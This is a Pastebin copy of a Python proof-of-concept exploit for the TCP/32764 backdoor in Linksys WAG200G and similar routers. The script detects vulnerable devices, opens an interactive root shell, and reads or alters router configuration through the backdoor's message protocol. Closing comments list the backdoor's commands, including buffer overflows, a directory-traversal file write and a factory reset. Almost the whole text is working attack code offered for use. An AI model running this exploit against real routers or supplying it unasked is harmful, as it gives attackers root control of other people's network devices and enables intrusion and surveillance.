Advertisement
rfmonk

tcp32764.py

Jan 6th, 2014
129
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
Python 5.44 KB | None | 0 0
  1. #!/usr/bin/env python
  2. # via https://github.com/elvanderb/TCP-32764
  3. # elvanderb / TCP-32764
  4. # backdoor listening on TCP-32764 in linksys WAG200G.
  5. import socket
  6. import struct
  7. import sys
  8. import argparse
  9.  
  10. parser = argparse.ArgumentParser(description='PoC for the TCP/32764 backdoor.\n'\
  11.         'see https://github.com/elvanderb/TCP-32764 for more details')
  12.  
  13. parser.add_argument('--ip', type=str, nargs='?', help='routers IP', default='192.168.1.1')
  14. parser.add_argument('--port', type=int, nargs='?', help='port to use', default=32764)
  15. command_group = parser.add_mutually_exclusive_group()
  16. command_group.add_argument('--is_vuln', help='tells you if the router is vulnerable or not (default)', action="store_true")
  17. command_group.add_argument('--shell', help='gives you a root shell on the router', action="store_true")
  18. command_group.add_argument('--print_conf', help='pretty print router\'s configuration', action="store_true")
  19. command_group.add_argument('--get_var', type=str, nargs='?', metavar='var_name', help='get router\'s configuration variable')
  20. command_group.add_argument('--set_var', type=str, nargs='?', metavar='var_name=val', help='set router\'s configuration variable')
  21. command_group.add_argument('--message', type=int, nargs='?', help='message to send', choices=range(1, 14))
  22. parser.add_argument('--payload', type=str, nargs='?', help='message\'s payload', default='')
  23. parser.add_argument('--timeout', type=int, nargs='?', help='connexion timeout in seconds', default=1)
  24.  
  25. args = parser.parse_args()
  26.  
  27. def send_message(s, endianness, message, payload=''):
  28.         header = struct.pack(endianness + 'III', 0x53634D4D, message, len(payload)+1)
  29.         s.send(header+payload+"\x00")
  30.         r = s.recv(0xC)
  31.  
  32.         while len(r) < 0xC:
  33.                 tmp = s.recv(0xC - len(r))
  34.                 assert len(tmp) != 0
  35.                 r += tmp
  36.  
  37.         sig, ret_val, ret_len = struct.unpack(endianness + 'III', r)
  38.         assert(sig == 0x53634D4D)
  39.  
  40.         if ret_val != 0:
  41.                 return ret_val, "ERROR"
  42.  
  43.         ret_str = ""
  44.         while len(ret_str) < ret_len:
  45.                 tmp = s.recv(ret_len - len(ret_str))
  46.                 assert len(tmp) != 0
  47.                 ret_str += tmp
  48.  
  49.         return ret_val, ret_str
  50.  
  51. # Big endian or little endian ?
  52. s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
  53. s.settimeout(args.timeout)
  54. try :
  55.         s.connect((args.ip, args.port))
  56. except socket.error as v:
  57.         print("probably not vulnerable (error: {0:s})".format(v))
  58.         sys.exit(0)
  59.  
  60. s.send("blablablabla")
  61. r = s.recv(0xC)
  62. while len(r) < 0xC:
  63.         tmp = s.recv(0xC - len(r))
  64.         assert len(tmp) != 0
  65.         r += tmp
  66.  
  67. sig, ret_val, ret_len = struct.unpack('<III', r)
  68. if sig == 0x53634D4D :
  69.         endianness = "<"
  70. elif sig == 0x4D4D6353 :
  71.         endianness = ">"
  72. else :
  73.         print("probably not vulnerable")
  74.         sys.exit(0)
  75. s.close()
  76.  
  77. s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
  78. s.settimeout(args.timeout)
  79. s.connect((args.ip, args.port))
  80. if args.is_vuln :
  81.         print("{0:s}:{1:d} is vulnerable!".format(args.ip, args.port))
  82. elif args.shell :
  83.         print(send_message(s, endianness, 7, 'echo "welcome, here is a root shell, have fun"')[1])
  84.         while 1 :
  85.                 print(send_message(s, endianness, 7, sys.stdin.readline().strip('\n'))[1])
  86. elif args.print_conf :
  87.         conf = send_message(s, endianness, 1)[1]
  88.         conf = conf.replace("\x00", "\n")
  89.         conf = conf.replace("\x01", "\n\t")
  90.         print(conf)
  91. elif args.get_var is not None :
  92.         response = send_message(s, endianness, 2, args.get_var)[1].rstrip("\x00")
  93.         if len(response) == 0 :
  94.                 print("{0:s} is not set".format(args.get_var))
  95.         else :
  96.                 print(response)
  97. elif args.set_var is not None :
  98.         r, _ = send_message(s, endianness, 3, args.set_var)
  99. elif args.message is not None :
  100.         r, response = send_message(s, endianness, args.message, args.payload)
  101.         if r != 0 :
  102.                 print("Command failed, error code: {0:08X}".format(r))
  103.         elif len(response) != 0 :
  104.                 print("Command succeed:")
  105.                 print(response.encode("string_escape"))
  106.         else :
  107.                 print("Command succeed:")
  108. else :
  109.         print("{0:s}:{1:d} is vulnerable!".format(args.ip, args.port))
  110.  
  111. s.close()
  112.  
  113. #commands :
  114. # 1 : get infos
  115. # 2 : get var -> possible overflow
  116. # 3 : set var -> buffer overflow
  117. # 4 : commit nvram (read nvram /dev/mtdblock/3 from /tmp/nvram and check CRC)
  118. # 5 : bridge mode ?
  119. #        wan_mode=bridgedonly
  120. #        wan_encap=0
  121. #        wan_vpi=8
  122. #        wan_vci=81
  123. #        /usr/bin/killall br2684ctl
  124. #        /usr/bin/killall udhcpd
  125. #        /usr/bin/killall -9 atm_monitor
  126. #        /usr/sbin/rc wan stop >/dev/null 2>&1
  127. #        /usr/sbin/atm_monitor&
  128. # 6 : show speed
  129. # 7 : cmd
  130. #        special commands :
  131. #                exit, bye, quit -> quit... (set alive to 0)
  132. #                cd : change directory (a little bit WTF)
  133. # other commands :
  134. #                integer overflow in stdout handling (?) not exploitable but still ...
  135. #                buffer overflow (buffer de 0x10000)
  136. #                
  137. # 8 : write file (file name in payload, dir : tmp, directory traversa)
  138. # 9 : print version
  139. #10 : print modem router ip (nvram_get(lan_ipaddr))
  140. #11 : resaure default settings (nvram_set(restore_default, 1) / nvram_commit)
  141. #12 : read /dev/mtdblock/0 [-4:-2]
  142. #13 : dump nvram on disk (/tmp/nvram) and commit
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement